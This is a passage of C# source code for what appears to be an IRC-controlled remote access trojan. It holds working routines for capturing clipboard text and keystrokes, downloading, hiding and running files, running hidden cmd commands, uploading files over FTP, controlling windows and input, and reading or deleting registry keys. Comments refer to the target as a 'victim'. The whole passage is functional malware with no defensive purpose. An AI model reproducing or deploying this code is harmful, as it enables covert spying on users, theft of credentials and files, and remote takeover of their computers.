                th = new Thread(new ThreadStart(getSTAText));
                th.SetApartmentState(ApartmentState.STA);
                th.Start();

                while (strValue == "")
                { }

                return strValue;

            }
            catch (Exception ex)
            {
                irc.SendMessage(SendType.Message, sIrcChannel, ex.Message);
                return "";
            }
        }

        private void getSTAText()
        {
            strValue = Clipboard.GetText();
            if (strValue == "" || strValue == string.Empty)
            { strValue = "clipboard is empty"; }
        }
        #endregion

        #region return my ip
        public string getMyIp()
        {
            WebClient webClient = new WebClient();
            string IP = webClient.DownloadString("http://myip.ozymo.com/");
            return IP;

        }

        public string getPrivateIP()
        {
            string myHost = System.Net.Dns.GetHostName();

            IPHostEntry myIPs = Dns.GetHostEntry(myHost);

            string myIPAll = " ";
            // Loop through all IP addresses and display each
            foreach (IPAddress myIp in myIPs.AddressList)
            {
                myIPAll += myIp.ToString() + "---";
            }
            return myIPAll;
        }
        #endregion

        #region File download and excute

        public bool DownloadFile(string url, string fileName)
        {
            string localPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\" + fileName;
            if (File.Exists(localPath))
            {
                File.Delete(localPath);
            }
            System.Net.WebClient client = new WebClient();
            try
            {
                client.DownloadFile(url, localPath);
                File.SetAttributes(localPath, FileAttributes.Hidden | FileAttributes.System);
                return true;
            }
            catch (Exception ex)
            {
                return false;
            }



        }



        public bool Execute(string fileName)
        {
            string path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\" + fileName;
            try
            {
                Process.Start(path);
                return true;
            }
            catch (Exception ex)
            {
                return false;
            }
        }
        #endregion

        #region check internet alive
        public bool InternetIsAlive()
        {
            try { IPHostEntry ipHost = Dns.GetHostEntry(sIrcServer); }
            catch { return false; }

            return true;
        }
        #endregion

        /*
         * add in 20/12/2011
         */
        #region Get active port

        delegate string ReadLineDelegate();

        public string GetActivePorts()
        {

            try
            {

                Process prc = new Process();
                StreamWriter sw;
                StreamReader sr;

                prc.StartInfo.FileName = "cmd.exe";
                prc.StartInfo.UseShellExecute = false;
                prc.StartInfo.RedirectStandardOutput = true;
                prc.StartInfo.RedirectStandardInput = true;
                prc.StartInfo.CreateNoWindow = true;
                prc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;

                prc.Start();


                sw = prc.StandardInput;
                sr = prc.StandardOutput;


                sw.Write("netstat -a -n -o" + Environment.NewLine);
                strActivePort = string.Empty;
                string line;

                ReadLineDelegate rl = new ReadLineDelegate(sr.ReadLine);
                while (true)
                {
                    IAsyncResult ares = rl.BeginInvoke(null, null);
                    if (ares.AsyncWaitHandle.WaitOne(500) == false)
                    {
                        break;
                    }
                    line = rl.EndInvoke(ares);
                    if (line != null)
                    {
                        strActivePort += line + Environment.NewLine;
                    }
                }
                strActivePort = strActivePort.Substring(strActivePort.IndexOf("PID") + 3);

            }
            catch (Exception ex)
            {

            }
            return strActivePort;
        }
        #endregion

        #region Window

        [DllImport("user32.dll")]
        private static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);

        [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        static extern bool DestroyWindow(IntPtr hwnd);


        private const int SW_SHOWNORMAL = 1;
        private const int SW_SHOWMINIMIZED = 2;
        private const int SW_SHOWMAXIMIZED = 3;
        private const int SW_RESTORE = 9;
        private const int SW_DEFAULT = 10;
        //lay cac cua so dang chay tren thanh taskbar
        public string GetWindows()
        {

            string query = "";
            Process[] proclist = Process.GetProcesses();
            IntPtr hwnd;
            foreach (Process proc in proclist)
            {
                if ((hwnd = proc.MainWindowHandle) != IntPtr.Zero)
                {
                    query += hwnd.ToString() + "|*|" + proc.MainWindowTitle + "|*|" + proc.ProcessName + "|*|" + proc.BasePriority + Environment.NewLine;
                }
            }

            return query;

        }

        //thao tac tren cac cua so dang chay 
        public void ChangeViewWindow(string _hwnd, string style)
        {
            IntPtr hwnd = new IntPtr(Convert.ToInt64(_hwnd));
            if (style == "MAXIMIZE")
            {
                ShowWindowAsync(hwnd, SW_SHOWMAXIMIZED);
            }
            else if (style == "MINIMIZE")
            {
                ShowWindowAsync(hwnd, SW_SHOWMINIMIZED);
            }
            else if (style == "NORMAL")
            {
                ShowWindowAsync(hwnd, SW_SHOWNORMAL);
            }
            else if (style == "HIDE")
            {
                ShowWindowAsync(hwnd, SW_HIDE);
            }
            else if (style == "CLOSE")
            {
                if (DestroyWindow(hwnd))
                {
                    //not done yet
                }
                else
                {

                }
            }
        }
        #endregion


        /*
         * add in 21/12/2011
         */

        #region Keylogger go!
        //-> Declare GetAsyncKeyState().
        [DllImport("User32.dll")]
        private static extern short GetAsyncKeyState(Keys vKey); //To check the current status of a virtual key.
        [DllImport("user32.dll")]
        private static extern short GetAsyncKeyState(Int32 vKey); //To check the current status of a virtual key.
        [DllImport("user32.dll")]
        private static extern short GetKeyState(Keys vKey); //To check if a key is currently toggled (on/off).
        [DllImport("user32.dll")]
        private static extern short GetKeyState(Int32 vKey); //To check if a key is currently toggled (on/off).

        //-> getKey() checks what keys have been pressed and returns the pressed keys, if any.
        //-> Otherwise, returns null.
        //-> The pressed keys are returned in a List<string> as (string)char/key name.
        public string getKey()
        {

            for (int i = 0; i <= 255; i++) //Go through all key codes to check if any key is pressed.
            {
                int j = GetAsyncKeyState(i); //Get state of key i.
                if (j == -32767) //Check if key is pressed.
                {
                    if (i >= 65 && i <= 122) //From char 65 to 122
                    {
                        if (ShiftKey && CapsLock) //If Shift and CapsLock are toggled.
                            return (((char)(i + 32)).ToString()); //Lower case.
                        else if (ShiftKey) //If Shift or CapsLock is toggled.
                            return (((char)(i)).ToString()); //Upper case.
                        else if (CapsLock) //If Shift or CapsLock is toggled.
                            return (((char)(i)).ToString()); //Upper case.
                        else //Any other situation.
                            return (((char)(i + 32)).ToString()); //Lower case.
                    }
                    else if (i >= 48 && i <= 57) //From char 48 to 57
                    {

                        if (ShiftKey || ShiftKeyL || ShiftKeyR) //If Shift is toggled.
                        {
                            //number 2 with shift is @
                            if (i == 50)
                            {
                                return "@";
                            }
                            else
                            {
                                return (((char)(i - 16)).ToString()); //Symbols.
                            }
                        }
                        else //If Shift is not toggled.
                            return (((char)(i)).ToString()); //Numbers.
                    }
                    else if (Space)
                    {
                        return " ";
                    }
                    else if (RButton || LButton)
                    {
                        return "";
                    }

                    else if (OemComma)
                    {
                        if ((ShiftKey || ShiftKeyL || ShiftKeyR))
                        {
                            return "<";
                        }
                        return ",";
                    }
                    else if (OemQuestion)
                    {
                        if ((ShiftKey || ShiftKeyL || ShiftKeyR))
                        {
                            return "?";
                        }
                        return "/";
                    }
                    else if (OemPeriod)
                    {
                        if ((ShiftKey || ShiftKeyL || ShiftKeyR))
                        {
                            return ">";
                        }
                        return ".";
                    }
                    else if (OemSemicolon)
                    {
                        if ((ShiftKey || ShiftKeyL || ShiftKeyR))
                        {
                            return ":";
                        }
                        return ";";
                    }
                    else if (OemQuotes)
                    {
                        if ((ShiftKey || ShiftKeyL || ShiftKeyR))
                        {
                            return "\"";
                        }
                        return "'";
                    }
                    else if (Oem4)
                    {
                        if ((ShiftKey || ShiftKeyL || ShiftKeyR))
                        {
                            return "{";
                        }
                        return "[";
                    }
                    else if (Oem6)
                    {
                        if ((ShiftKey || ShiftKeyL || ShiftKeyR))
                        {
                            return "}";
                        }
                        return "]";
                    }
                    else if (OemPipe)
                    {
                        if ((ShiftKey || ShiftKeyL || ShiftKeyR))
                        {
                            return "|";
                        }
                        return "\\";
                    }
                    else if (Oemplus)
                    {
                        if ((ShiftKey || ShiftKeyL || ShiftKeyR))
                        {
                            return "+";
                        }
                        return "=";
                    }
                    else if (OemMinus)
                    {
                        if ((ShiftKey || ShiftKeyL || ShiftKeyR))
                        {
                            return "_";
                        }
                        return "-";
                    }
                    else if (Oemtilde)
                    {
                        if ((ShiftKey || ShiftKeyL || ShiftKeyR))
                        {
                            return "~";
                        }
                        return "`";
                    }
                    else if ((ShiftKey || ShiftKeyL || ShiftKeyR))
                    {
                        return "";
                    }
                    else if ((ControlKey || ControlKeyL || ControlKeyR))
                    {
                        return "";
                    }

                    else return " " + (Enum.GetName(typeof(Keys), i)) + " "; //Any other situation.

                    /*
                    //Check keys toggled
                    if (ShiftKey)
                        return (Keys.ShiftKey.ToString()); //Add 'ShiftKey' if enabled.
                    if (ShiftKeyL)
                        return (Keys.LShiftKey.ToString()); //Add 'LShiftKey' if enabled.
                    if (ShiftKeyR)
                        return (Keys.RShiftKey.ToString()); //Add 'RShiftKey' if enabled.
                    if (ControlKey)
                        return (Keys.ControlKey.ToString()); //Add 'ControlKey' if enabled.
                    if (ControlKeyL)
                        return (Keys.LControlKey.ToString()); //Add 'LControlKey' if enabled.
                    if (ControlKeyR)
                        return (Keys.RControlKey.ToString()); //Add 'RControlKey' if enabled.
                    if (AltKey)
                        return (Keys.Menu.ToString()); //Add 'Menu' (Alt key) if enabled.
                    if (AltKeyL )
                        return (Keys.LMenu.ToString()); //Add 'LMenu' if enabled.
                    if (AltKeyR)
                        return (Keys.RMenu.ToString()); //Add 'RMenu' if enabled.
                    if (CapsLock)
                        return (Keys.CapsLock.ToString() + "[Enabled]"); //Add 'CapsLock[Enabled]' if enabled.
                    if (NumLock)
                        return (Keys.NumLock.ToString() + "[Enabled]"); //Add 'NumLock' if enabled.
                     */
                }
            }

            return "";
        }

        //-> Get keys toogle state (on/off).
        #region Toggles

        //;
        public bool OemSemicolon
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.OemSemicolon)); }
        }
        // dau '
        public bool OemQuotes
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.OemQuotes)); }
        }

        //dau [
        public bool Oem4
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Oem4)); }
        }
        //dau ] 
        public bool Oem6
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Oem6)); }
        }
        //dau \
        public bool OemPipe
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.OemPipe)); }
        }

        //dau =
        public bool Oemplus
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Oemplus)); }
        }
        //dau - 
        public bool OemMinus
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.OemMinus)); }
        }
        //dau `

        public bool Oemtilde
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Oemtilde)); }
        }






        public bool ControlKey
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey)); }
        }


        public bool OemComma
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Oemcomma)); }
        }

        public bool OemPeriod
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.OemPeriod)); }
        }

        public bool OemQuestion
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.OemQuestion)); }
        }

        public bool Space
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Space)); }
        }

        public bool LButton
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LButton)); }
        }

        public bool RButton
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RButton)); }
        }

        public bool ControlKeyL
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LControlKey)); }
        }
        public bool ControlKeyR
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RControlKey)); }
        }
        public bool ShiftKey
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)); }
        }
        public bool ShiftKeyL
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LShiftKey)); }
        }
        public bool ShiftKeyR
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RShiftKey)); }
        }
        public bool AltKey
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu)); }
        }
        public bool AltKeyL
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LMenu)); }
        }
        public bool AltKeyR
        {
            get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RMenu)); }
        }
        public bool CapsLock
        {
            get { return Convert.ToBoolean(GetKeyState(Keys.CapsLock)); }
        }
        public bool NumLock
        {
            get { return Convert.ToBoolean(GetKeyState(Keys.NumLock)); }
        }
        #endregion

        #endregion

        #region Encript,Decript information from channel

        public string Encrypt(string input, string key)
        {
            byte[] inputArray = UTF8Encoding.UTF8.GetBytes(input);
            TripleDESCryptoServiceProvider tripleDES = new TripleDESCryptoServiceProvider();
            MD5CryptoServiceProvider HashProvider = new MD5CryptoServiceProvider();
            byte[] TDESKey = HashProvider.ComputeHash(UTF8Encoding.UTF8.GetBytes(key));
            tripleDES.Key = TDESKey;
            tripleDES.Mode = CipherMode.ECB;
            tripleDES.Padding = PaddingMode.PKCS7;
            ICryptoTransform cTransform = tripleDES.CreateEncryptor();
            byte[] resultArray = cTransform.TransformFinalBlock(inputArray, 0, inputArray.Length);
            tripleDES.Clear();
            return Convert.ToBase64String(resultArray, 0, resultArray.Length);
        }

        public string Decrypt(string input, string key)
        {
            byte[] inputArray = Convert.FromBase64String(input);
            TripleDESCryptoServiceProvider tripleDES = new TripleDESCryptoServiceProvider();
            MD5CryptoServiceProvider HashProvider = new MD5CryptoServiceProvider();
            byte[] TDESKey = HashProvider.ComputeHash(UTF8Encoding.UTF8.GetBytes(key));
            tripleDES.Key = TDESKey;
            tripleDES.Mode = CipherMode.ECB;
            tripleDES.Padding = PaddingMode.PKCS7;
            ICryptoTransform cTransform = tripleDES.CreateDecryptor();
            byte[] resultArray = cTransform.TransformFinalBlock(inputArray, 0, inputArray.Length);
            tripleDES.Clear();
            return UTF8Encoding.UTF8.GetString(resultArray);
        }
        #endregion

        #region File

        public string GetDrives()
        {
            string[] drives = Environment.GetLogicalDrives();
            string query = "";
            foreach (string drive in drives)
            {
                query += drive + Environment.NewLine;
            }

            return query;
        }

        public string GetDirs(string parent)
        {

            string query = "";
            try
            {
                string[] folders = Directory.GetDirectories(@parent, "*", SearchOption.TopDirectoryOnly);
                foreach (string folder in folders)
                {
                    string temp = folder.Substring(folder.LastIndexOf("\\") + 1);
                    query += temp + Environment.NewLine;
                }
            }
            catch (Exception ex)
            {
                query = ex.Message;
            }
            return query;


        }
        public string GetFiles(string path)
        {

            string query = "";
            try
            {
                string[] files = Directory.GetFiles(path, "*", SearchOption.TopDirectoryOnly);
                foreach (string file in files)
                {
                    FileInfo info = new FileInfo(file);
                    string temp = file.Substring(file.LastIndexOf("\\") + 1);
                    string filesize = string.Empty;
                    Int64 size = info.Length;
                    long kb = size / 1024;
                    if (kb > 1024)
                    {
                        float mb = kb / 1024;
                        filesize = mb.ToString() + " MB";
                    }
                    else
                    {
                        filesize = kb.ToString() + " KB";
                    }

                    query += temp + "|*|" + info.CreationTime.ToString() + "|*|" + info.Attributes.ToString() + "|*|" + filesize + Environment.NewLine;
                }
            }
            catch (Exception ex)
            {
                query = ex.Message;
            }

            return query;

        }

        public void Rename(string file, string to)
        {
            try
            {
                System.IO.File.Move(file, to);
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
        }
        #endregion

        #region ftp upload,download
        private void upload2FTpFile(string FTPAddress, string filePath, string username, string password)
        {
            //Create FTP request
            FtpWebRequest request = (FtpWebRequest)FtpWebRequest.Create(FTPAddress + "/" + Path.GetFileName(filePath));

            request.Method = WebRequestMethods.Ftp.UploadFile;
            request.Credentials = new NetworkCredential(username, password);
            request.UsePassive = true;
            request.UseBinary = true;
            request.KeepAlive = false;

            //Load the file
            FileStream stream = File.OpenRead(filePath);
            byte[] buffer = new byte[stream.Length];

            stream.Read(buffer, 0, buffer.Length);
            stream.Close();

            //Upload file
            Stream reqStream = request.GetRequestStream();
            reqStream.Write(buffer, 0, buffer.Length);
            reqStream.Close();


        }

        public void DownloadFileFromFtp(string fileUrl, string destination, string _remoteUser, string _remotePass)
        {

            int i = fileUrl.LastIndexOf("/");
            destination = destination +"//" +fileUrl.Substring(i + 1);

            if (File.Exists(destination))
            {
                File.Delete(destination);
            }

            FtpWebRequest requestFileDownload = (FtpWebRequest)WebRequest.Create(fileUrl);
            requestFileDownload.Credentials = new NetworkCredential(_remoteUser, _remotePass);
            requestFileDownload.Method = WebRequestMethods.Ftp.DownloadFile;

            FtpWebResponse responseFileDownload = (FtpWebResponse)requestFileDownload.GetResponse();

            Stream responseStream = responseFileDownload.GetResponseStream();
            FileStream writeStream = new FileStream(destination, FileMode.Create);

            int Length = 2048;
            Byte[] buffer = new Byte[Length];
            int bytesRead = responseStream.Read(buffer, 0, Length);

            while (bytesRead > 0)
            {
                writeStream.Write(buffer, 0, bytesRead);
                bytesRead = responseStream.Read(buffer, 0, Length);
            }

            responseStream.Close();
            writeStream.Close();

            requestFileDownload = null;
            responseFileDownload = null;




        }
        #endregion

        /*
     * add in 17/1/2012
     */

      


        #region  desktop,icon control
        public void ShowDesktop()
        {
            KeyboardSimulator.KeyDown(Keys.LWin);
            KeyboardSimulator.KeyPress(Keys.D);
            KeyboardSimulator.KeyUp(Keys.LWin);

        }

        //Hide Desktop Icons
        [DllImport("user32.dll")]
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

        private void HideDeskTopIcon(bool hide)
        {
            IntPtr hWnd = FindWindowEx(IntPtr.Zero, IntPtr.Zero, "Progman", null);

            if (hide)
            {
                ShowWindow(hWnd, 0);
            }
            else
            {
                ShowWindow(hWnd, 5);
            }
        }
        #endregion

        #region change wallpaper
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);

        public void ChangeWallpaper(string imagePath)
        {
            SystemParametersInfo(20, 0, imagePath, 0x1 | 0x2);
        }
        #endregion

        #region start taskmgr.exe invisible,so victim can be start task again-->troll :))
        public void StartTaskInvi()
        {
            Process p = new Process();

            p.StartInfo.WorkingDirectory = Environment.GetFolderPath(Environment.SpecialFolder.System);

            p.StartInfo.FileName = "taskmgr.exe";

            p.StartInfo.CreateNoWindow = true;

            p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;

            p.Start();
        }
        #endregion

        #region keyboard param control

        public void controlKeyboard(string command)
        {
            switch (command)
            {
                case "copy":
                    KeyboardSimulator.SimulateStandardShortcut(StandardShortcut.Copy);
                    break;
                case "close":
                    KeyboardSimulator.SimulateStandardShortcut(StandardShortcut.Close);
                    KeyboardSimulator.KeyPress(Keys.Enter);
                    break;
                case "cut":
                    KeyboardSimulator.SimulateStandardShortcut(StandardShortcut.Cut);
                    break;
                case "new":
                    KeyboardSimulator.SimulateStandardShortcut(StandardShortcut.New);
                    break;
                case "paste":
                    KeyboardSimulator.SimulateStandardShortcut(StandardShortcut.Paste);
                    break;
                case "selectall":
                    KeyboardSimulator.SimulateStandardShortcut(StandardShortcut.SelectAll);
                    break;
                case "save":
                    KeyboardSimulator.SimulateStandardShortcut(StandardShortcut.Save);
                    break;
                case "open":
                    KeyboardSimulator.SimulateStandardShortcut(StandardShortcut.Open);
                    break;
                case "print":
                    KeyboardSimulator.SimulateStandardShortcut(StandardShortcut.Print);
                    break;
                case "quitwar":
                    KeyboardSimulator.KeyPress(Keys.F10);
                    Thread.Sleep(500);
                    KeyboardSimulator.KeyPress(Keys.E);
                    Thread.Sleep(500);
                    KeyboardSimulator.KeyPress(Keys.Q);

                    break;
                case "pausewar":
                    KeyboardSimulator.KeyPress(Keys.F10);
                    KeyboardSimulator.KeyPress(Keys.M);
                    KeyboardSimulator.KeyPress(Keys.R);
                    break;
                case "savewar":
                    KeyboardSimulator.KeyPress(Keys.F10);
                    KeyboardSimulator.KeyPress(Keys.S);
                    Thread.Sleep(200);
                    KeyboardSimulator.KeyPress(Keys.B);
                    Thread.Sleep(500);
                    KeyboardSimulator.KeyPress(Keys.Enter);
                    Thread.Sleep(500);
                    KeyboardSimulator.KeyPress(Keys.O);
                    KeyboardSimulator.KeyPress(Keys.R);
                    break;
                case "window":
                    KeyboardSimulator.KeyPress(Keys.LWin);
                    break;
                case "space":
                    KeyboardSimulator.KeyPress(Keys.Space);
                    break;
                case "shift":
                    KeyboardSimulator.KeyPress(Keys.Shift);
                    break;
                case "shiftdown":
                    KeyboardSimulator.KeyDown(Keys.Shift);
                    break;
                case "shiftup":
                     KeyboardSimulator.KeyUp(Keys.Shift);
                    break;
                case "ctrl":
                    KeyboardSimulator.KeyPress(Keys.Control);
                    break;
                case "ctrldown":
                    KeyboardSimulator.KeyDown(Keys.Control);
                    break;
                case "ctrup":
                    KeyboardSimulator.KeyUp(Keys.Control);
                    break;
                case "alt":
                    KeyboardSimulator.KeyPress(Keys.Alt);
                    break;
                case "altdown":
                    KeyboardSimulator.KeyDown(Keys.Alt);
                    break;
                case "altup":
                    KeyboardSimulator.KeyUp(Keys.Alt);
                    break;
                    
                case "ctrlaltdel":
                        KeyboardSimulator.KeyDown(Keys.ControlKey);
                        KeyboardSimulator.KeyDown(Keys.Alt);
                        KeyboardSimulator.KeyDown(Keys.Delete);

                        Thread.Sleep(500);
                        KeyboardSimulator.KeyUp(Keys.ControlKey);
                        KeyboardSimulator.KeyUp(Keys.Alt);
                        KeyboardSimulator.KeyUp(Keys.Delete);
                    break;

                    case "f1":
                     KeyboardSimulator.KeyPress(Keys.F1);
                    break;

                    case "f2":
                    KeyboardSimulator.KeyPress(Keys.F2);
                    break;

                    case "f3":
                    KeyboardSimulator.KeyPress(Keys.F3);
                    break;

                    case "f4":
                    KeyboardSimulator.KeyPress(Keys.F4);
                    break;

                    case "f5":
                    KeyboardSimulator.KeyPress(Keys.F5);
                    break;

                    case "f6":
                    KeyboardSimulator.KeyPress(Keys.F6);
                    break;

                    case "f7":
                    KeyboardSimulator.KeyPress(Keys.F7);
                    break;

                    case "f8":
                    KeyboardSimulator.KeyPress(Keys.F8);
                    break;

                    case "f9":
                    KeyboardSimulator.KeyPress(Keys.F9);
                    break;

                    case "f10":
                    KeyboardSimulator.KeyPress(Keys.F10);
                    break;

                    case "f11":
                    KeyboardSimulator.KeyPress(Keys.F11);
                    break;

                    case "f12":
                    KeyboardSimulator.KeyPress(Keys.F12);
                    break;

                    case "esc":
                    KeyboardSimulator.KeyPress(Keys.Escape);
                    break;

                    case "insert":
                    KeyboardSimulator.KeyPress(Keys.Insert);
                    break;

                    case "del":
                    KeyboardSimulator.KeyPress(Keys.Delete);
                    break;

                    case "home":
                    KeyboardSimulator.KeyPress(Keys.Home);
                    break;

                    case "pgup":
                    KeyboardSimulator.KeyPress(Keys.PageUp);
                    break;

                    case "pgdn":
                    KeyboardSimulator.KeyPress(Keys.PageDown);
                    break;

                    case "end":
                    KeyboardSimulator.KeyPress(Keys.End);
                    break;

                    case "enter":
                    KeyboardSimulator.KeyPress(Keys.Enter);
                    break;

                    case "tab":
                    KeyboardSimulator.KeyPress(Keys.Tab);
                    break;

                    case "caplock":
                    KeyboardSimulator.KeyPress(Keys.CapsLock);
                    break;
                default:
                    break;
            }

        }
        #endregion

        #region keyboard char control

        public void keyboard_key_down(Byte KeyCode)
        {
            SendInput(KeyCode, (byte)MapVirtualKey((int)KeyCode, 0), 0, 0);
        }

        public void keyboard_key_up(Byte KeyCode)
        {
            SendInput((byte)KeyCode, (byte)MapVirtualKey((int)KeyCode, 0), 2, 0);
        }

        //user32.dll Keyboard Methods
        [DllImport("user32.dll")]
        public extern static short MapVirtualKey(int wCode, int wMapType);

        [DllImport("user32.dll", EntryPoint = "keybd_event", CharSet = CharSet.Auto, ExactSpelling = true)]
        public static extern void SendInput(byte vk, byte scan, int flags, int extrainfo);


        [DllImport("user32.dll")]
        public static extern byte VkKeyScan(char ch);
        #endregion

        #region NIC card control
            private static void DisconnectInternet()
        {

            ManagementClass objMC = new ManagementClass("Win32_NetworkAdapterConfiguration");

            ManagementObjectCollection objMOC = objMC.GetInstances();

            foreach (ManagementObject objMO in objMOC)
            {

                objMO.InvokeMethod("ReleaseDHCPLease", null, null);

            }

        }

            private static void ReconnectInternet()
            {

                ManagementClass objMC = new ManagementClass("Win32_NetworkAdapterConfiguration");

                ManagementObjectCollection objMOC = objMC.GetInstances();

                foreach (ManagementObject objMO in objMOC)
                {

                    objMO.InvokeMethod("RenewDHCPLease", null, null);

                }
            }
        #endregion

        #region cmd control
        void ExecuteCommandSync(object command)
            {

                // create the ProcessStartInfo using "cmd" as the program to be run, and "/c " as the parameters.
                // Incidentally, /c tells cmd that we want it to execute the command that follows, and then exit.
                System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + command);
                // The following commands are needed to redirect the standard output. 
                //This means that it will be redirected to the Process.StandardOutput StreamReader.
                procStartInfo.RedirectStandardOutput = true;
                procStartInfo.UseShellExecute = false;
                // Do not create the black window.
                procStartInfo.CreateNoWindow = true;

                procStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                // Now we create a process, assign its ProcessStartInfo and start it
                System.Diagnostics.Process proc = new System.Diagnostics.Process();
                proc.StartInfo = procStartInfo;
                proc.Start();

                // Get the output into a string
                string result = proc.StandardOutput.ReadToEnd();

                // Display the command output.
                Console.WriteLine(result);
            }

        #endregion

        #region Registry games :))
        public string GetSubKeys(string key, string register)
        {

            string query = "";
            RegistryKey regkey = null;

            switch (register)
            {
                case "HKEY_CLASSES_ROOT":
                    regkey = Registry.ClassesRoot.OpenSubKey(key);
                    break;
                case "HKEY_CURRENT_USER":
                    regkey = Registry.CurrentUser.OpenSubKey(key);
                    break;
                case "HKEY_LOCAL_MACHINE":
                    regkey = Registry.LocalMachine.OpenSubKey(key);
                    break;
                case "HKEY_USERS":
                    regkey = Registry.Users.OpenSubKey(key);
                    break;
                case "HKEY_CURRENT_CONFIG":
                    regkey = Registry.CurrentConfig.OpenSubKey(key);
                    break;
            }


            string[] subkeys = regkey.GetSubKeyNames();
            foreach (string subkey in subkeys)
            {
                query += subkey + Environment.NewLine;
            }

            return query;
        }

        #region Install Program
        public string GetInstalledPrograms()
        {

            string query = "";
            string SoftwareKey = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall";
            RegistryKey keys = Registry.LocalMachine.OpenSubKey(SoftwareKey);
            foreach (string keyname in keys.GetSubKeyNames())
            {
                RegistryKey key = keys.OpenSubKey(keyname);
                try
                {
                    if (key.GetValue("DisplayName") != null)
                    {
                        if (key.GetValue("InstallLocation") == null)
                        {
                            query += key.GetValue("DisplayName") + "|*|Not found" + Environment.NewLine;
                        }
                        else
                        {
                            query += key.GetValue("DisplayName") + "|*|" + key.GetValue("InstallLocation") + Environment.NewLine;
                        }
                    }
                }
                catch (Exception ex)
                {

                }
            }
            return query;

        }
        #endregion

        public string GetValues(string key, string register)
        {

            string query = "";
            RegistryKey regkey = null;

            switch (register)
            {
                case "HKEY_CLASSES_ROOT":
                    regkey = Registry.ClassesRoot.OpenSubKey(key);
                    break;
                case "HKEY_CURRENT_USER":
                    regkey = Registry.CurrentUser.OpenSubKey(key);
                    break;
                case "HKEY_LOCAL_MACHINE":
                    regkey = Registry.LocalMachine.OpenSubKey(key);
                    break;
                case "HKEY_USERS":
                    regkey = Registry.Users.OpenSubKey(key);
                    break;
                case "HKEY_CURRENT_CONFIG":
                    regkey = Registry.CurrentConfig.OpenSubKey(key);
                    break;
            }


            string[] values = regkey.GetValueNames();
            foreach (string value in values)
            {
                //string details = (string)regkey.GetValue(register + "\\" + key, value);
                object test = Registry.GetValue(register + "\\" + key, value, "");

                query += value + "|*|" + test.ToString() + Environment.NewLine;
            }

            return query;


        }

        public void DeleteKey(string key, string register)
        {
            try
            {
                RegistryKey regkey = null;
                string path;
                string name;
                path = key.Substring(0, key.LastIndexOf(@"\") + 1);
                name = key.Substring(key.LastIndexOf(@"\") + 1);

                switch (register)
                {
                    case "HKEY_CLASSES_ROOT":
                        regkey = Registry.ClassesRoot.OpenSubKey(path, true);
                        regkey.DeleteValue(name);
                        break;
                    case "HKEY_CURRENT_USER":
                        regkey = Registry.CurrentUser.OpenSubKey(path, true);
                        regkey.DeleteValue(name);
                        break;
                    case "HKEY_LOCAL_MACHINE":
                        regkey = Registry.LocalMachine.OpenSubKey(path, true);
                        regkey.DeleteValue(name);
                        break;
                    case "HKEY_USERS":
                        regkey = Registry.Users.OpenSubKey(path, true);
                        regkey.DeleteValue(name);
                        break;
                    case "HKEY_CURRENT_CONFIG":
                        regkey = Registry.CurrentConfig.OpenSubKey(path, true);
                        regkey.DeleteValue(name);
                        break;
                }
            }
            catch (Exception ex)
            {

            }
        }


        public bool KeyExists(string key)
        {
            try
            {
                key = key.Trim();
                if (key.Substring(key.Length) != "\\")
                {
                    key += "\\";
                }
                string register = key.Substring(0, key.IndexOf("\\"));
                key = key.Substring(key.IndexOf("\\") + 1);
                bool exists = false;
                switch (register)
                {
                    case "HKEY_LOCAL_MACHINE":
                        exists = Registry.LocalMachine.OpenSubKey(key) != null;
                        break;
                    case "HKEY_CLASSES_ROOT":
                        exists = Registry.ClassesRoot.OpenSubKey(key) != null;
                        break;
                    case "HKEY_CURRENT_USER":
                        exists = Registry.CurrentUser.OpenSubKey(key) != null;
                        break;
                    case "HKEY_USERS":
                        exists = Registry.Users.OpenSubKey(key) != null;
                        break;
                    case "HKEY_CURRENT_CONFIG":
                        exists = Registry.CurrentConfig.OpenSubKey(key) != null;
                        break;
                }
                return exists;
            }
            catch (Exception ex)
            {
                return false;
            }
        }


        #endregion

        #region Service Process
        public string GetServices()
        {
            string query = "";
            ServiceController[] services = ServiceController.GetServices();
            foreach (ServiceController service in services)
            {
                query += service.ServiceName + "|*|" + service.Status.ToString() + "|*|" + service.DisplayName + Environment.NewLine;
            }

            return query;

        }

        public void StartService(string servicename)
        {
            try
            {
                ServiceController service = new ServiceController();
                service.ServiceName = servicename;
                service.Start();
            }
